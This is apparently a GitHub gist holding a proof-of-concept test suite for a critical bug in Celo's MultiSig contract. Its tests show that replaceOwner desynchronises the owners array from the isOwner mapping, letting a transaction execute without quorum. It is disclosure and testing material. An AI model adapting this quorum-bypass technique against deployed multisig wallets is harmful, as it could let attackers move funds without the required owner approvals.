Skip to content

Instantly share code, notes, and snippets.

@jcarpanelli

jcarpanelli/celo-multisig-exploit.ts Secret

Last active Feb 11, 2020
Embed
What would you like to do?
Celo MultiSig critical vulnerability exploit. Append this tests in `protocol/test/common/multisig.ts` inside the `contract` block, and run `yarn run test multisig` afterwards.
describe.only('exploits', () => {
const bob = accounts[0]
const alice = accounts[1]
const eric = accounts[2]
let replaceOwnerTxId: number
beforeEach('replaces the last added owner', async () => {
// @ts-ignore: TODO: fix typings
// replaceOwner transaction is submitted by Alice, for replacing her with Eric
const replaceOwnerTxData = multiSig.contract.methods.replaceOwner(alice, eric).encodeABI()
const replaceOwnerTx = await multiSig.submitTransaction(multiSig.address, 0, replaceOwnerTxData, {
from: alice,
})
const replaceOwnerEvent = _.find(replaceOwnerTx.logs, {
event: 'Confirmation',
})
replaceOwnerTxId = replaceOwnerEvent.args.transactionId
})
it('unsyncs the owners array and the isOwner mapping', async () => {
// Bob confirms and executes the transaction that replaces Alice with Eric.
await multiSig.confirmTransaction(replaceOwnerTxId, { from: bob })
// Alice is not an owner anymore, and Eric is now an owner
assert.isTrue(await multiSig.isOwner(eric))
assert.isFalse(await multiSig.isOwner(alice))
// but Alice is still in the owners array, and Eric is not
assert.equal(await multiSig.owners(1), alice)
})
it('does not allow to execute more transactions', async () => {
// Bob confirms and executes the transaction that replaces Alice with Eric.
await multiSig.confirmTransaction(replaceOwnerTxId, { from: bob })
// @ts-ignore: TODO: fix typings
// After unsyncing the owners array and the isOwner mapping, a new transaction is submitted
const changeRequirementTxData = multiSig.contract.methods.changeRequirement(1).encodeABI()
// the "new owner" Eric submits a transaction
const changeRequirementTx = await multiSig.submitTransaction(multiSig.address, 0, changeRequirementTxData, {
from: eric,
})
const changeRequirementEvent = _.find(changeRequirementTx.logs, {
event: 'Confirmation',
})
const changeRequirementTxId = changeRequirementEvent.args.transactionId
// Bob confirms the transaction, and as the requirement value is being reached, tries to execute it
await multiSig.confirmTransaction(changeRequirementTxId, { from: bob })
// even though Bob and Eric confirmed the transaction, the requirement will not change
// as the `owners` array still has Alice as owner, instead of Eric
assertEqualBN(await multiSig.required(), 2)
})
it('executes an unconfirmed transaction', async () => {
// @ts-ignore: TODO: fix typings
// Another transaction is sent before executing 'replaceOwnerTx'. In particular, it is a transaction for changing the number of confirmations needed for executing transactions in by multisig, but it can be any other function from any other contract.
const changeRequirementTxData = multiSig.contract.methods.changeRequirement(1).encodeABI()
const changeRequirementTx = await multiSig.submitTransaction(multiSig.address, 0, changeRequirementTxData, {
from: alice,
})
const changeRequirementEvent = _.find(changeRequirementTx.logs, {
event: 'Confirmation',
})
const changeRequirementTxId = changeRequirementEvent.args.transactionId
// Bob confirms and executes the transaction that replaces Alice with Eric.
await multiSig.confirmTransaction(replaceOwnerTxId, { from: bob })
// now, let's try to execute changeRequirementTx.
// This call will confirm the transaction, and try to execute it.
// It shouldn't be executed, as Eric didn't confirmed it yet, but...
await multiSig.confirmTransaction(changeRequirementTxId, { from: bob })
// requirement was successfully modified without quorum.
// Again, this applies to any transaction submitted to the multisig.
assertEqualBN(await multiSig.required(), 1)
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.